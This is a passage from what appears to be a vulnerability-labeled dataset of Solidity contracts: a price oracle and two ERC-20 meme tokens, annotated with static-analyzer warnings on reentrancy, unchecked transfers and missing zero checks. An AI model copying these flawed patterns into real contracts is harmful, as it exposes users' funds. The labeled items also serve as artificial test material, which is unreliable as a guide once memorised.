10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\ninterface ICurvePool {\n function get_virtual_price() external view returns (uint256 price);\n\n function price_oracle() external view returns (uint256);\n\n function price_oracle(uint256 i) external view returns (uint256);\n\n function balances(uint256 _id) external view returns (uint256);\n\n function calc_token_amount(\n uint256[2] memory _amounts,\n bool _is_deposit\n ) external view returns (uint256);\n\n function calc_token_amount(\n uint256[] memory _amounts,\n bool _is_deposit\n ) external view returns (uint256);\n\n function calc_withdraw_one_coin(\n uint256 _burn_amount,\n int128 i\n ) external view returns (uint256);\n\n function get_dy(\n int128 i,\n int128 j,\n uint256 dx\n ) external view returns (uint256);\n\n function coins(uint256 index) external view returns (address);\n\n function add_liquidity(\n uint256[2] memory amounts,\n uint256 _min_mint_amount\n ) external;\n\n function add_liquidity(\n uint256[] memory amounts,\n uint256 _min_mint_amount\n ) external returns (uint256);\n}\n\ninterface IYearnVault {\n function pricePerShare() external view returns (uint256 price);\n\n function deposit(\n uint256 _amount,\n address recipient\n ) external returns (uint256);\n\n function withdraw(\n uint256 maxShares,\n address recipient,\n uint256 maxLoss\n ) external returns (uint256);\n}\n\ncontract USDCYvUSDCRUSDYOracle {\n address private constant USDC_USD_CHAINLINK =\n 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;\n\n uint8 public constant DECIMALS = 18;\n\n address public immutable CURVE_USDC_RUSDY_POOL;\n\n address public immutable YEARN_USDC_RUSDY_VAULT;\n\n uint256 public immutable MAX_ORACLE_DELAY;\n\n uint256 public immutable PRICE_MIN;\n\n string public name;\n\n error CHAINLINK_BAD_PRICE();\n\n error REDSTONE_BAD_PRICE();\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0874652): USDCYvUSDCRUSDYOracle.constructor(uint256,uint256,address,address,string)._curvePoolAddress lacks a zerocheck on \t CURVE_USDC_RUSDY_POOL = _curvePoolAddress\n\t// Recommendation for 0874652: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 30bbbcc): USDCYvUSDCRUSDYOracle.constructor(uint256,uint256,address,address,string)._yearnVaultAddress lacks a zerocheck on \t YEARN_USDC_RUSDY_VAULT = _yearnVaultAddress\n\t// Recommendation for 30bbbcc: Check that the address is not zero.\n constructor(\n uint256 _maxOracleDelay,\n uint256 _priceMin,\n address _curvePoolAddress,\n address _yearnVaultAddress,\n string memory _name\n ) {\n\t\t// missing-zero-check | ID: 0874652\n CURVE_USDC_RUSDY_POOL = _curvePoolAddress;\n\n\t\t// missing-zero-check | ID: 30bbbcc\n YEARN_USDC_RUSDY_VAULT = _yearnVaultAddress;\n\n name = _name;\n\n MAX_ORACLE_DELAY = _maxOracleDelay;\n\n PRICE_MIN = _priceMin;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7f9bb17): USDCYvUSDCRUSDYOracle.getPrices() uses timestamp for comparisons Dangerous comparisons _answer <= 0 || (block.timestamp _updatedAt > MAX_ORACLE_DELAY)\n\t// Recommendation for 7f9bb17: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d4f93f8): USDCYvUSDCRUSDYOracle.getPrices() ignores return value by (None,_answer,None,_updatedAt,None) = AggregatorV3Interface(USDC_USD_CHAINLINK).latestRoundData()\n\t// Recommendation for d4f93f8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: db84c88): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for db84c88: Consider ordering multiplication before division.\n function getPrices()\n external\n view\n returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)\n {\n\t\t// unused-return | ID: d4f93f8\n (, int256 _answer, , uint256 _updatedAt, ) = AggregatorV3Interface(\n USDC_USD_CHAINLINK\n ).latestRoundData();\n\n\t\t// timestamp | ID: 7f9bb17\n if (_answer <= 0 || (block.timestamp - _updatedAt > MAX_ORACLE_DELAY)) {\n revert CHAINLINK_BAD_PRICE();\n }\n\n uint256 usdcPriceInUSD = uint256(_answer);\n\n uint256 rUsdyPriceInUSD = 1e8;\n\n uint256 minStable = Math.min(usdcPriceInUSD, rUsdyPriceInUSD);\n\n\t\t// divide-before-multiply | ID: db84c88\n uint256 curveLPTokenPriceInUSD = (ICurvePool(CURVE_USDC_RUSDY_POOL)\n .get_virtual_price() * minStable) / 1e18;\n\n\t\t// divide-before-multiply | ID: db84c88\n uint256 yvLPTokenPriceInUSD = (curveLPTokenPriceInUSD *\n IYearnVault(YEARN_USDC_RUSDY_VAULT).pricePerShare()) / 1e18;\n\n uint256 rate = (usdcPriceInUSD * 1e30) / yvLPTokenPriceInUSD;\n\n _priceHigh = rate > PRICE_MIN ? rate : PRICE_MIN;\n\n _priceLow = _priceHigh;\n }\n}\n",
"file_name": "solidity_code_10692.sol",
"size_bytes": 16341,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57677c6): TREMP.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 57677c6: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address to, uint256 amount) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n\t\t\t// reentrancy-eth | ID: a498b1e\n _balances[from] = fromBalance - amount;\n }\n\t\t// reentrancy-eth | ID: a498b1e\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: 6cf2684\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract TREMP is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n address public immutable feeReceiver;\n\n uint256 public maxWalletSize = 8413800000 * 1e9;\n uint256 private swapbackMax = 8413800000 * 1e9;\n uint256 private swapbackMin = 1262070000 * 1e9;\n uint32 private _buyCount;\n uint32 private _sellCount;\n uint32 private _lastSellBlock;\n\t// WARNING Optimization Issue (constable-states | ID: 3d7c860): TREMP._preventSwapBefore should be constant \n\t// Recommendation for 3d7c860: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 15;\n\t// WARNING Optimization Issue (constable-states | ID: deb445e): TREMP._lowerTaxAt should be constant \n\t// Recommendation for deb445e: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerTaxAt = 25;\n bool private _inSwap;\n\n uint256 public buyFee;\n uint256 public sellFee;\n\n mapping(address => bool) private _excludedFromLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57677c6): TREMP.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 57677c6: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Doland Tremp\", \"TREMP\") {\n uint256 totalSupply = 420690000000 * 1e9;\n\n feeReceiver = 0x795a4E7109F445e11caBaa93DcAc552D48FAF761;\n buyFee = 0;\n sellFee = 0;\n\n _excludedFromLimits[feeReceiver] = true;\n _excludedFromLimits[msg.sender] = true;\n _excludedFromLimits[address(this)] = true;\n _excludedFromLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n _approve(msg.sender, address(_router), totalSupply);\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6cf2684): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6cf2684: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a2b8fad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a2b8fad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a498b1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a498b1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = _excludedFromLimits[from] || _excludedFromLimits[to];\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n if (_buyCount <= _lowerTaxAt) _buyCount++;\n if (_buyCount == _lowerTaxAt) {\n buyFee = 0;\n sellFee = 0;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= swapbackMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n require(_sellCount < 3, \"Only 3 sells per block!\");\n _inSwap = true;\n\t\t\t// reentrancy-events | ID: 6cf2684\n\t\t\t// reentrancy-no-eth | ID: a2b8fad\n\t\t\t// reentrancy-eth | ID: a498b1e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, swapbackMax))\n );\n\t\t\t// reentrancy-no-eth | ID: a2b8fad\n _inSwap = false;\n uint256 contractETHBalance = address(this).balance;\n\t\t\t// reentrancy-events | ID: 6cf2684\n\t\t\t// reentrancy-eth | ID: a498b1e\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\t\t\t// reentrancy-eth | ID: a498b1e\n _sellCount++;\n\t\t\t// reentrancy-eth | ID: a498b1e\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFee : sellFee;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 6cf2684\n\t\t\t\t// reentrancy-eth | ID: a498b1e\n super._transfer(from, address(this), fees);\n amount -= fees;\n }\n }\n\t\t// reentrancy-events | ID: 6cf2684\n\t\t// reentrancy-eth | ID: a498b1e\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n _approve(address(this), address(_router), tokenAmount);\n\t\t// reentrancy-events | ID: 6cf2684\n\t\t// reentrancy-no-eth | ID: a2b8fad\n\t\t// reentrancy-eth | ID: a498b1e\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6cf2684\n\t\t// reentrancy-eth | ID: a498b1e\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41351f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41351f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4015a32): TREMP.startTrading() ignores return value by _router.addLiquidityETH{value 500000000000000000}(address(this),336552000000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for 4015a32: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(\n msg.sender,\n address(this),\n totalSupply() - (totalSupply() * 10) / 100\n );\n\t\t// reentrancy-benign | ID: 41351f2\n\t\t// unused-return | ID: 4015a32\n _router.addLiquidityETH{value: 500000000000000000}(\n address(this),\n 336552000000000000000,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 41351f2\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6bcc85b): TREMP.setSwapFees(uint256,uint256) should emit an event for buyFee = newBuyFee sellFee = newSellFee \n\t// Recommendation for 6bcc85b: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 0 && newSellFee <= 0, \"New fee must be lower.\");\n\t\t// events-maths | ID: 6bcc85b\n buyFee = newBuyFee;\n\t\t// events-maths | ID: 6bcc85b\n sellFee = newSellFee;\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ffc3aa2): TREMP.updateSwapback(uint256,uint256) should emit an event for swapbackMax = maxAmount swapbackMin = minAmount \n\t// Recommendation for ffc3aa2: Emit an event for critical parameter changes.\n function updateSwapback(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: ffc3aa2\n swapbackMax = maxAmount;\n\t\t// events-maths | ID: ffc3aa2\n swapbackMin = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 460e809): TREMP.transferStuckTokens(IERC20) ignores return value by token.transfer(feeReceiver,token.balanceOf(address(this)))\n\t// Recommendation for 460e809: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7dfcea2): TREMP.transferStuckTokens(IERC20) ignores return value by token.transfer(address(0xdead),token.balanceOf(address(this)))\n\t// Recommendation for 7dfcea2: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckTokens(IERC20 token) external onlyOwner {\n if (address(token) == address(this))\n\t\t\t// unchecked-transfer | ID: 7dfcea2\n token.transfer(address(0xdead), token.balanceOf(address(this)));\n\t\t// unchecked-transfer | ID: 460e809\n else token.transfer(feeReceiver, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10693.sol",
"size_bytes": 18407,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VVF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1307af3): VVF.deployer should be immutable \n\t// Recommendation for 1307af3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a91276): VVF._initialBuyTax should be constant \n\t// Recommendation for 3a91276: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b8f284): VVF._initialSellTax should be constant \n\t// Recommendation for 7b8f284: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 116b3f8): VVF._finalBuyTax should be constant \n\t// Recommendation for 116b3f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15449c0): VVF._finalSellTax should be constant \n\t// Recommendation for 15449c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: efdf09f): VVF._reduceBuyTaxAt should be constant \n\t// Recommendation for efdf09f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2597e43): VVF._reduceSellTaxAt should be constant \n\t// Recommendation for 2597e43: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vitalik's Vision Farm\";\n\n string private constant _symbol = unicode\"VVF\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33cb88e): VVF._maxTaxSwap should be constant \n\t// Recommendation for 33cb88e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0xfd2a103aCaf36e9d3cC0f5Ab4312e8710C2c656a);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c9a55cc): VVF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c9a55cc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd1b913): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd1b913: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 307cd90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 307cd90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bd1b913\n\t\t// reentrancy-benign | ID: 307cd90\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: bd1b913\n\t\t\t// reentrancy-benign | ID: 307cd90\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a1decbb): VVF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a1decbb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 307cd90\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bd1b913\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9be0a29): Reentrancies (see 